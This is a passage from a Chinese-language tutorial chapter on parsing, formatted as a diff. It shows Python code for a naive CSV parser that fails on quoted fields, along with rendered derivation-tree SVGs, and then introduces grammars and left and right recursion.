text-anchor="middle" x="183.5" y="-36.8">Mercury</text></g> <g class="edge" id="edge9"><title>6->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="183.5" y="-3.8">Cougar</text></g> <g class="edge" id="edge10"><title>6->10</title></g></g></svg>
+
+这当然很简单。 如果遇到更多复杂性该怎么办？ 再次，来自维基百科的另一个例子。
+
+```
+mystring = '''\
+1997,Ford,E350,"ac, abs, moon",3000.00\
+'''
+print(mystring)
+
+```py
+
+```
+1997,Ford,E350,"ac, abs, moon",3000.00
+
+```
+
+我们定义了一种新的注释方法`highlight_node()`来标记有趣的节点。
+
+```py
+def highlight_node(predicate):
+    def hl_node(dot, nid, symbol, ann):
+        if predicate(dot, nid, symbol, ann):
+            dot.node(repr(nid), dot_escape(symbol), fontcolor='red')
+        else:
+            dot.node(repr(nid), dot_escape(symbol))
+    return hl_node
+
+```
+
+使用`highlight_node()`，我们可以突出显示错误解析的特定节点。
+
+```py
+tree = parse_csv(mystring)
+bad_nodes = {5, 6, 7, 12, 13, 20, 22, 23, 24, 25}
+
+```
+
+```py
+def hl_predicate(_d, nid, _s, _a): return nid in bad_nodes
+
+```
+
+```py
+highlight_err_node = highlight_node(hl_predicate)
+display_tree(tree, log=False, node_attr=highlight_err_node,
+             graph_attr=lr_graph)
+
+```
+
+<svg height="221pt" viewBox="0.00 0.00 213.00 221.00" width="213pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 217)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-102.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.5" y="-102.8">record 0</text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="182" y="-201.8">1997</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="182" y="-168.8">Ford</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="182" y="-135.8">E350</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="182" y="-102.8">"ac</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="182" y="-69.8">abs</text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="182" y="-36.8">moon"</text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="182" y="-3.8">3000.00</text></g> <g class="edge" id="edge8"><title>1->8</title></g></g></svg>
+
+标记的节点指示我们的解析错误。 我们当然可以扩展解析器以理解引号。 首先，我们定义一些辅助函数`parse_quote()`，`find_comma()`和`comma_split()`
+
+```py
+def parse_quote(string, i):
+    v = string[i + 1:].find('"')
+    return v + i + 1 if v >= 0 else -1
+
+```
+
+```py
+def find_comma(string, i):
+    slen = len(string)
+    while i < slen:
+        if string[i] == '"':
+            i = parse_quote(string, i)
+            if i == -1:
+                return -1
+        if string[i] == ',':
+            return i
+        i += 1
+    return -1
+
+```
+
+```py
+def comma_split(string):
+    slen = len(string)
+    i = 0
+    while i < slen:
+        c = find_comma(string, i)
+        if c == -1:
+            yield string[i:]
+            return
+        else:
+            yield string[i:c]
+        i = c + 1
+
+```
+
+我们可以更新`parse_csv()`过程以使用高级报价解析器。
+
+```py
+def parse_csv(mystring):
+    children = []
+    tree = (START_SYMBOL, children)
+    for i, line in enumerate(mystring.split('\n')):
+        children.append(("record %d" % i, [(cell, [])
+                                           for cell in comma_split(line)]))
+    return tree
+
+```
+
+我们的新产品`parse_csv()`现在可以正确处理引号。
+
+```py
+tree = parse_csv(mystring)
+display_tree(tree, graph_attr=lr_graph)
+
+```
+
+<svg height="155pt" viewBox="0.00 0.00 256.00 155.00" width="256pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 151)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-69.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.5" y="-69.8">record 0</text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="203.5" y="-135.8">1997</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="203.5" y="-102.8">Ford</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="203.5" y="-69.8">E350</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="203.5" y="-36.8">"ac, abs, moon"</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="203.5" y="-3.8">3000.00</text></g> <g class="edge" id="edge6"><title>1->6</title></g></g></svg>
+
+那当然不会长久生存：
+
+```py
+mystring = '''\
+1999,Chevy,"Venture \\"Extended Edition, Very Large\\"",,5000.00\
+'''
+print(mystring)
+
+```
+
+```py
+1999,Chevy,"Venture \"Extended Edition, Very Large\"",,5000.00
+
+```
+
+一些嵌入的引号足以使我们的解析器再次困惑。
+
+```py
+tree = parse_csv(mystring)
+bad_nodes = {4, 5}
+display_tree(tree, node_attr=highlight_err_node, graph_attr=lr_graph)
+
+```
+
+<svg height="174pt" viewBox="0.00 0.00 329.00 174.00" width="329pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 170)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-71.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.5" y="-71.8">record 0</text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="240" y="-154.8">1999</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="240" y="-121.8">Chevy</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="240" y="-88.8">"Venture \"Extended Edition</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="240" y="-55.8">Very Large\""</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node7"><title>6</title></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="240" y="-3.8">5000.00</text></g> <g class="edge" id="edge7"><title>1->7</title></g></g></svg>
+
+这是该CSV文件中的另一条记录：
+
+```py
+mystring = '''\
+1996,Jeep,Grand Cherokee,"MUST SELL!
+air, moon roof, loaded",4799.00
+'''
+print(mystring)
+
+```
+
+```py
+1996,Jeep,Grand Cherokee,"MUST SELL!
+air, moon roof, loaded",4799.00
+
+```
+
+```py
+tree = parse_csv(mystring)
+bad_nodes = {5, 6, 7, 8, 9, 10}
+display_tree(tree, node_attr=highlight_err_node, graph_attr=lr_graph)
+
+```
+
+<svg height="221pt" viewBox="0.00 0.00 263.00 221.00" width="263pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 217)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20" y="-53.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.5" y="-135.8">record 0</text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node7"><title>6</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.5" y="-53.8">record 1</text></g> <g class="edge" id="edge6"><title>0->6</title></g> <g class="node" id="node11"><title>10</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="99.5" y="-20.8">record 2</text></g> <g class="edge" id="edge10"><title>0->10</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207" y="-201.8">1996</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207" y="-168.8">Jeep</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207" y="-135.8">Grand Cherokee</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207" y="-102.8">"MUST SELL!</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node8"><title>7</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207" y="-69.8">air</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207" y="-36.8">moon roof</text></g> <g class="edge" id="edge8"><title>6->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#ff0000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="207" y="-3.8">loaded",4799.00</text></g> <g class="edge" id="edge9"><title>6->9</title></g></g></svg>
+
+要解决此问题，将需要同时修改内部`parse_quote()`和外部`parse_csv()`过程。 我们注意到，每个功能实际上都记录在CSV [RFC 4180](https://tools.ietf.org/html/rfc4180) 中
+
+确实，每一个额外的改进都变得有些分散，即使有一点额外的复杂性。 当人们遇到递归表达式时，这个问题变得很严重。 例如，JSON是CSV文件的常用替代方案，用于保存数据。 同样，如果要从Web获取数据，则可能不得不从HTML表而不是CSV文件解析数据。
+
+可能会尝试通过一点点临时解析来解决此问题，并添加一些*正则表达式*。但是，这是[通往精神错乱](https://stackoverflow.com/a/1732454)的途径。
+
+*正式解析器*在这里闪耀。 主要思想是，任何给定的字符串集都属于一种语言，并且这些语言可以由其语法指定（正如我们在关于的语法[一章中所看到的）。 关于语法的伟大之处在于它们可以由*组成*。 即，可以在不影响外部结构的情况下将越来越精细的细节引入内部结构，并且类似地，可以在不对内部结构造成很大影响的情况下改变外部结构。 我们将在下一节中简要描述语法。](Grammars.html)
+
+## 语法
+
+正如您从语法的[章中所阅读的，语法是一组*规则*，它们解释了如何扩展起始符号。 每个规则都有一个名称，也称为*非终结点*，以及一组如何扩展非终结点的*替代选择*。](Grammars.html)
+
+```py
+A1_GRAMMAR = {
+    "<start>": ["<expr>"],
+    "<expr>": ["<expr>+<expr>", "<expr>-<expr>", "<integer>"],
+    "<integer>": ["<digit><integer>", "<digit>"],
+    "<digit>": ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
+}
+
+```
+
+```py
+syntax_diagram(A1_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="87.0" y="35">expr</text></g></g></g></g></svg>
+
+```py
+expr
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 296.5 122" width="296.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="87.0" y="35">expr</text></g> <g class="terminal"><text x="148.25" y="35">+</text></g> <g class="non-terminal"><text x="209.5" y="35">expr</text></g></g> <g><g class="non-terminal"><text x="87.0" y="65">expr</text></g> <g class="terminal"><text x="148.25" y="65">-</text></g> <g class="non-terminal"><text x="209.5" y="65">expr</text></g></g> <g><g class="non-terminal"><text x="148.25" y="95">integer</text></g></g></g></g></svg>
+
+```py
+integer
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 282.0 92" width="282.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">digit</text></g> <g class="non-terminal"><text x="182.25" y="35">integer</text></g></g> <g><g class="non-terminal"><text x="141.0" y="65">digit</text></g></g></g></g></svg>
+
+```py
+digit
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>
+
+在以上表达式中，规则`<expr> : [<expr>+<expr>,<expr>-<expr>,<integer>]`对应于如何扩展非终端`<expr>`。 表达式`<expr>+<expr>`对应于备选选择之一。 我们称此为非末端`<expr>`的*替代*扩展。 最后，在表达式`<expr>+<expr>`中，`<expr>`，`+`和`<expr>`中的每个都是该扩展中的*符号*。 根据符号的扩展在语法中是否可用，符号可以是非终结符也可以是终结符。
+
+这是一个代表我们要解析的算术表达式的字符串，由上面的语法指定：
+
+```py
+mystring = '1+2'
+
+```
+
+用于此表达式的*派生树*的表达式为：
+
+```py
+tree = ('<start>', [('<expr>',
+                     [('<expr>', [('<integer>', [('<digit>', [('1', [])])])]),
+                      ('+', []),
+                      ('<expr>', [('<integer>', [('<digit>', [('2',
+                                                               [])])])])])])
+assert mystring == tree_to_string(tree)
+display_tree(tree)
+
+```
+
+<svg height="278pt" viewBox="0.00 0.00 149.00 278.00" width="149pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 274)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-258.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-207.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-156.8"><expr></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-156.8">+</text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-156.8"><expr></text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-105.8"><integer></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-54.8"><digit></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-3.8">1</text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-105.8"><integer></text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-54.8"><digit></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="113.5" y="-3.8">2</text></g> <g class="edge" id="edge10"><title>9->10</title></g></g></svg>
+
+虽然可以使用一种语法来指定一种给定的语言，但是可能有多个语法与同一种语言相对应。 例如，这是描述相同加法表达式的另一种语法。
+
+```py
+A2_GRAMMAR = {
+    "<start>": ["<expr>"],
+    "<expr>": ["<integer><expr_>"],
+    "<expr_>": ["+<expr>", "-<expr>", ""],
+    "<integer>": ["<digit><integer_>"],
+    "<integer_>": ["<integer>", ""],
+    "<digit>": ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
+}
+
+```
+
+```py
+syntax_diagram(A2_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="87.0" y="35">expr</text></g></g></g></g></svg>
+
+```py
+expr
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 282.0 62" width="282.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">integer</text></g> <g class="non-terminal"><text x="190.75" y="35">expr_</text></g></g></g></g></svg>
+
+```py
+expr_
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 222.5 122" width="222.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">+</text></g> <g class="non-terminal"><text x="135.5" y="35">expr</text></g></g> <g><g class="terminal"><text x="74.25" y="65">-</text></g> <g class="non-terminal"><text x="135.5" y="65">expr</text></g></g></g></g></svg>
+
+```py
+integer
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 290.5 62" width="290.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">digit</text></g> <g class="non-terminal"><text x="186.5" y="35">integer_</text></g></g></g></g></svg>
+
+```py
+integer_
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 199.5 92" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">integer</text></g></g></g></g></svg>
+
+```py
+digit
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>
+
+相应的派生树由下式给出：
+
+```py
+tree = ('<start>', [('<expr>', [('<integer>', [('<digit>', [('1', [])]),
+                                               ('<integer_>', [])]),
+                                ('<expr_>', [('+', []),
+                                             ('<expr>',
+                                              [('<integer>',
+                                                [('<digit>', [('2', [])]),
+                                                 ('<integer_>', [])]),
+                                               ('<expr_>', [])])])])])
+assert mystring == tree_to_string(tree)
+display_tree(tree)
+
+```
+
+<svg height="329pt" viewBox="0.00 0.00 262.00 329.00" width="262pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 325)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="121" y="-309.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="121" y="-258.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="86" y="-207.8"><integer></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="156" y="-207.8"><expr_></text></g> <g class="edge" id="edge6"><title>1->6</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="21" y="-156.8"><digit></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="91" y="-156.8"><integer_></text></g> <g class="edge" id="edge5"><title>2->5</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="21" y="-105.8">1</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="152" y="-156.8">+</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195" y="-156.8"><expr></text></g> <g class="edge" id="edge8"><title>6->8</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="160" y="-105.8"><integer></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="230" y="-105.8"><expr_></text></g> <g class="edge" id="edge13"><title>8->13</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="125" y="-54.8"><digit></text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195" y="-54.8"><integer_></text></g> <g class="edge" id="edge12"><title>9->12</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="125" y="-3.8">2</text></g> <g class="edge" id="edge11"><title>10->11</title></g></g></svg>
+
+实际上，可能存在描述同一语言的不同类别的语法。 例如，第一个语法`A1_GRAMMAR`是同时向右和*向左*递归的语法，而第二个语法`A2_GRAMMAR`在以下任何一个的非终结符中都没有向左递归 其产品，但包含 *epsilon* 产品。 （epsilon生产是在右侧具有空字符串的生产。）
+
+您可能已经注意到，我们在其自己的定义中重复使用了`<expr>`一词。 在其自己的定义中使用相同的非终结符称为*递归*。 解析有两种特定的递归类型，我们将在下一节中看到。
+
+#### 递归
+
+如果语法的任何非终结符均为左递归，则语法为*左递归*，并且如果语法的任何非产生符最左端的符号本身为非语法，则非终结符直接为左递归。
+
+```py
+LR_GRAMMAR = {
+    '<start>': ['<A>'],
+    '<A>': ['<A>a', ''],
+}
+
+```
+
+```py
+syntax_diagram(LR_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="74.25" y="35">A</text></g></g></g></g></svg>
+
+```py
+A
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 197.0 92" width="197.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="74.25" y="35">A</text></g> <g class="terminal"><text x="122.75" y="35">a</text></g></g></g></g></svg>
+
+```py
+mystring = 'aaaaaa'
+display_tree(
+    ('<start>', (('<A>', (('<A>', (('<A>', []), ('a', []))), ('a', []))), ('a', []))))
+
+```
+
+<svg height="176pt" viewBox="0.00 0.00 93.50 176.00" width="94pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 172)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="64" y="-156.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="47" y="-105.8"><A></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="82" y="-105.8">a</text></g> <g class="edge" id="edge6"><title>0->6</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="30" y="-54.8"><A></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="65" y="-54.8">a</text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="13" y="-3.8"><A></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="48" y="-3.8">a</text></g> <g class="edge" id="edge4"><title>2->4</title></g></g></svg>
+
+如果可以使用其定义来扩展最左边的符号中的任何一个，以产生非终结符作为扩展的最左边的符号，则语法是间接左递归的。 如果在非终结符的一系列扩展过程中，一个左递归被称为*隐藏左递归*，则该规则到达了一个规则，其中该规则在其他符号的前缀之后包含相同的非终结符，并且这些符号可以派生 空字符串。 例如，在`A1_GRAMMAR`中，如果`<digit>`可以派生空字符串，则将`<integer>`视为左隐藏递归。
+
+右递归语法的定义与此类似。 下面是正确的递归语法的派生树，该递归树表示与`LR_GRAMMAR`相同的语言。
+
+```py
+RR_GRAMMAR = {
+    '<start>': ['<A>'],
+    '<A>': ['a<A>', ''],
+}
+
+```
+
+```py
+syntax_diagram(RR_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="74.25" y="35">A</text></g></g></g></g></svg>
+
+```py
+A
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 197.0 92" width="197.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">a</text></g> <g class="non-terminal"><text x="122.75" y="35">A</text></g></g></g></g></svg>
+
+```py
+display_tree(('<start>', ((
+    '<A>', (('a', []), ('<A>', (('a', []), ('<A>', (('a', []), ('<A>', []))))))),)))
+
+```
+
+<svg height="227pt" viewBox="0.00 0.00 93.50 227.00" width="94pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 223)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-207.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="20.5" y="-156.8"><A></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3.5" y="-105.8">a</text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="38.5" 